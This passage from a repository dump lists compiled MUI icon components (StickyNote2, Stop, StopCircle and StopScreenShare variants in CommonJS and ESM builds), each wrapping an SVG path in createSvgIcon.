    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v9h-5v5H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h10l6-6V5c0-1.1-.9-2-2-2m-7 11H7v-2h5zm5-4H7V8h10z\"\n}), 'StickyNote2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StickyNote2Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v9h-5v5H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h10l6-6V5c0-1.1-.9-2-2-2m-7 11H7v-2h5zm5-4H7V8h10z\"\n}), 'StickyNote2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StickyNote2Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H4.99C3.89 3 3 3.9 3 5l.01 14c0 1.1.89 2 1.99 2h10l6-6V5c0-1.1-.9-2-2-2M8 8h8c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1m3 6H8c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m3 5.5V15c0-.55.45-1 1-1h4.5z\"\n}), 'StickyNote2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StickyNote2Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H4.99C3.89 3 3 3.9 3 5l.01 14c0 1.1.89 2 1.99 2h10l6-6V5c0-1.1-.9-2-2-2M8 8h8c.55 0 1 .45 1 1s-.45 1-1 1H8c-.55 0-1-.45-1-1s.45-1 1-1m3 6H8c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m3 5.5V15c0-.55.45-1 1-1h4.5z\"\n}), 'StickyNote2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StickyNote2Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.99 3 3 21h12l6-6V3zM7 8h10v2H7zm5 6H7v-2h5zm2 5.5V14h5.5z\"\n}), 'StickyNote2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StickyNote2Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.99 3 3 21h12l6-6V3zM7 8h10v2H7zm5 6H7v-2h5zm2 5.5V14h5.5z\"\n}), 'StickyNote2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StickyNote2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5v14h9v-5h5V5zm7 9H7v-2h5zm5-4H7V8h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v9h-5v5H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h10l6-6V5c0-1.1-.9-2-2-2m-7 11H7v-2h5zm5-4H7V8h10z\"\n}, \"1\")], 'StickyNote2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StickyNote2TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5v14h9v-5h5V5zm7 9H7v-2h5zm5-4H7V8h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v9h-5v5H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h10l6-6V5c0-1.1-.9-2-2-2m-7 11H7v-2h5zm5-4H7V8h10z\"\n}, \"1\")], 'StickyNote2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Stop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6h12v12H6z\"\n}), 'Stop');"
  },
  {
    "path": "packages/mui-icons-material/lib/Stop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6h12v12H6z\"\n}), 'Stop');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4 14H8V8h8z\"\n}), 'StopCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4 14H8V8h8z\"\n}), 'StopCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m4-4H8V8h8z\"\n}), 'StopCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m4-4H8V8h8z\"\n}), 'StopCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3 14H9c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1\"\n}), 'StopCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m3 14H9c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1\"\n}), 'StopCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4 14H8V8h8z\"\n}), 'StopCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m4 14H8V8h8z\"\n}), 'StopCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m4 12H8V8h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m4-4H8V8h8z\"\n}, \"1\")], 'StopCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopCircleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m4 12H8V8h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m4-4H8V8h8z\"\n}, \"1\")], 'StopCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 8v8H8V8zm2-2H6v12h12z\"\n}), 'StopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 8v8H8V8zm2-2H6v12h12z\"\n}), 'StopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 6h8c1.1 0 2 .9 2 2v8c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V8c0-1.1.9-2 2-2\"\n}), 'StopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 6h8c1.1 0 2 .9 2 2v8c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V8c0-1.1.9-2 2-2\"\n}), 'StopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopScreenShare.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.22 18.02 2 2H24v-2zm.77-2 .01-10c0-1.11-.9-2-2-2H7.22l5.23 5.23c.18-.04.36-.07.55-.1V7.02l4 3.73-1.58 1.47 5.54 5.54c.61-.33 1.03-.99 1.03-1.74M2.39 1.73 1.11 3l1.54 1.54c-.4.36-.65.89-.65 1.48v10c0 1.1.89 2 2 2H0v2h18.13l2.71 2.71 1.27-1.27zM7 15.02c.31-1.48.92-2.95 2.07-4.06l1.59 1.59c-1.54.38-2.7 1.18-3.66 2.47\"\n}), 'StopScreenShare');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopScreenShare.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.22 18.02 2 2H24v-2zm.77-2 .01-10c0-1.11-.9-2-2-2H7.22l5.23 5.23c.18-.04.36-.07.55-.1V7.02l4 3.73-1.58 1.47 5.54 5.54c.61-.33 1.03-.99 1.03-1.74M2.39 1.73 1.11 3l1.54 1.54c-.4.36-.65.89-.65 1.48v10c0 1.1.89 2 2 2H0v2h18.13l2.71 2.71 1.27-1.27zM7 15.02c.31-1.48.92-2.95 2.07-4.06l1.59 1.59c-1.54.38-2.7 1.18-3.66 2.47\"\n}), 'StopScreenShare');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopScreenShareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.79 18 2 2H24v-2zM1.11 2.98l1.55 1.56c-.41.37-.66.89-.66 1.48V16c0 1.1.9 2 2.01 2H0v2h18.13l2.71 2.71 1.41-1.41L2.52 1.57zM4 6.02h.13l4.95 4.93C7.94 12.07 7.31 13.52 7 15c.96-1.29 2.13-2.08 3.67-2.46l3.46 3.48H4zm16 0v10.19l1.3 1.3c.42-.37.7-.89.7-1.49v-10c0-1.11-.9-2-2-2H7.8l2 2zm-7.07 3.13 2.79 2.78 1.28-1.2L13 7v2.13z\"\n}), 'StopScreenShareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopScreenShareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.79 18 2 2H24v-2zM1.11 2.98l1.55 1.56c-.41.37-.66.89-.66 1.48V16c0 1.1.9 2 2.01 2H0v2h18.13l2.71 2.71 1.41-1.41L2.52 1.57zM4 6.02h.13l4.95 4.93C7.94 12.07 7.31 13.52 7 15c.96-1.29 2.13-2.08 3.67-2.46l3.46 3.48H4zm16 0v10.19l1.3 1.3c.42-.37.7-.89.7-1.49v-10c0-1.11-.9-2-2-2H7.8l2 2zm-7.07 3.13 2.79 2.78 1.28-1.2L13 7v2.13z\"\n}), 'StopScreenShareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopScreenShareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 18h-1.2l1.79 1.79c.24-.18.41-.46.41-.79 0-.55-.45-1-1-1M3.23 2.28c-.39-.39-1.03-.39-1.42 0s-.39 1.02 0 1.41l.84.86s-.66.57-.66 1.47C2 6.92 2 16 2 16l.01.01c0 1.09.88 1.98 1.97 1.99H1c-.55 0-1 .45-1 1s.45 1 1 1h17.13l2 2c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM7 15c.31-1.48.94-2.93 2.08-4.05l1.59 1.59C9.13 12.92 7.96 13.71 7 15m6-5.87v-.98c0-.44.52-.66.84-.37L15 8.87l1.61 1.5c.21.2.21.53 0 .73l-.89.83 5.58 5.58c.43-.37.7-.9.7-1.51V6c0-1.09-.89-1.98-1.98-1.98H7.8l5.14 5.13c.02-.01.04-.02.06-.02\"\n}), 'StopScreenShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopScreenShareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 18h-1.2l1.79 1.79c.24-.18.41-.46.41-.79 0-.55-.45-1-1-1M3.23 2.28c-.39-.39-1.03-.39-1.42 0s-.39 1.02 0 1.41l.84.86s-.66.57-.66 1.47C2 6.92 2 16 2 16l.01.01c0 1.09.88 1.98 1.97 1.99H1c-.55 0-1 .45-1 1s.45 1 1 1h17.13l2 2c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM7 15c.31-1.48.94-2.93 2.08-4.05l1.59 1.59C9.13 12.92 7.96 13.71 7 15m6-5.87v-.98c0-.44.52-.66.84-.37L15 8.87l1.61 1.5c.21.2.21.53 0 .73l-.89.83 5.58 5.58c.43-.37.7-.9.7-1.51V6c0-1.09-.89-1.98-1.98-1.98H7.8l5.14 5.13c.02-.01.04-.02.06-.02\"\n}), 'StopScreenShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopScreenShareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.79 18 2 2H24v-2zM13 9.13V7l4 3.74-1.28 1.19 5.18 5.18L22 16V4.02H7.8l5.13 5.13c.03-.01.05-.02.07-.02M1.11 2.98l.89.9v12.14l2 1.99L0 18v2h18.13l2.71 2.71 1.41-1.41L2.52 1.57zm7.97 7.97 1.59 1.59C9.13 12.92 7.96 13.71 7 15c.31-1.48.94-2.93 2.08-4.05\"\n}), 'StopScreenShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopScreenShareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.79 18 2 2H24v-2zM13 9.13V7l4 3.74-1.28 1.19 5.18 5.18L22 16V4.02H7.8l5.13 5.13c.03-.01.05-.02.07-.02M1.11 2.98l.89.9v12.14l2 1.99L0 18v2h18.13l2.71 2.71 1.41-1.41L2.52 1.57zm7.97 7.97 1.59 1.59C9.13 12.92 7.96 13.71 7 15c.31-1.48.94-2.93 2.08-4.05\"\n}), 'StopScreenShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopScreenShareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.67 12.54C9.13 12.92 7.96 13.71 7 15c.31-1.48.94-2.93 2.08-4.05L4.13 6.02H4v10.01h10.14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.79 18 2 2H24v-2zM1.11 2.98l1.55 1.56c-.41.37-.66.89-.66 1.48V16c0 1.1.9 2 2.01 2H0v2h18.13l2.71 2.71 1.41-1.41L2.52 1.57zM4 6.02h.13l4.95 4.93C7.94 12.07 7.31 13.52 7 15c.96-1.29 2.13-2.08 3.67-2.46l3.46 3.48H4zm16 0v10.19l1.3 1.3c.42-.37.7-.89.7-1.49v-10c0-1.11-.9-2-2-2H7.8l2 2zm-7.07 3.13 2.79 2.78 1.28-1.2L13 7v2.13z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6.02H9.8l3.13 3.13c.02 0 .04-.01.07-.02V7l4 3.73-1.28 1.2L20 16.21z\",\n  opacity: \".3\"\n}, \"2\")], 'StopScreenShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopScreenShareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.67 12.54C9.13 12.92 7.96 13.71 7 15c.31-1.48.94-2.93 2.08-4.05L4.13 6.02H4v10.01h10.14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.79 18 2 2H24v-2zM1.11 2.98l1.55 1.56c-.41.37-.66.89-.66 1.48V16c0 1.1.9 2 2.01 2H0v2h18.13l2.71 2.71 1.41-1.41L2.52 1.57zM4 6.02h.13l4.95 4.93C7.94 12.07 7.31 13.52 7 15c.96-1.29 2.13-2.08 3.67-2.46l3.46 3.48H4zm16 0v10.19l1.3 1.3c.42-.37.7-.89.7-1.49v-10c0-1.11-.9-2-2-2H7.8l2 2zm-7.07 3.13 2.79 2.78 1.28-1.2L13 7v2.13z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6.02H9.8l3.13 3.13c.02 0 .04-.01.07-.02V7l4 3.73-1.28 1.2L20 16.21z\",\n  opacity: \".3\"\n}, \"2\")], 'StopScreenShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6h12v12H6z\"\n}), 'StopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6h12v12H6z\"\n}), 'StopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 8h8v8H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 18h12V6H6zM8 8h8v8H8z\"\n}, \"1\")], 'StopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StopTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 8h8v8H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 18h12V6H6zM8 8h8v8H8z\"\n}, \"1\")], 'StopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Storage.js",
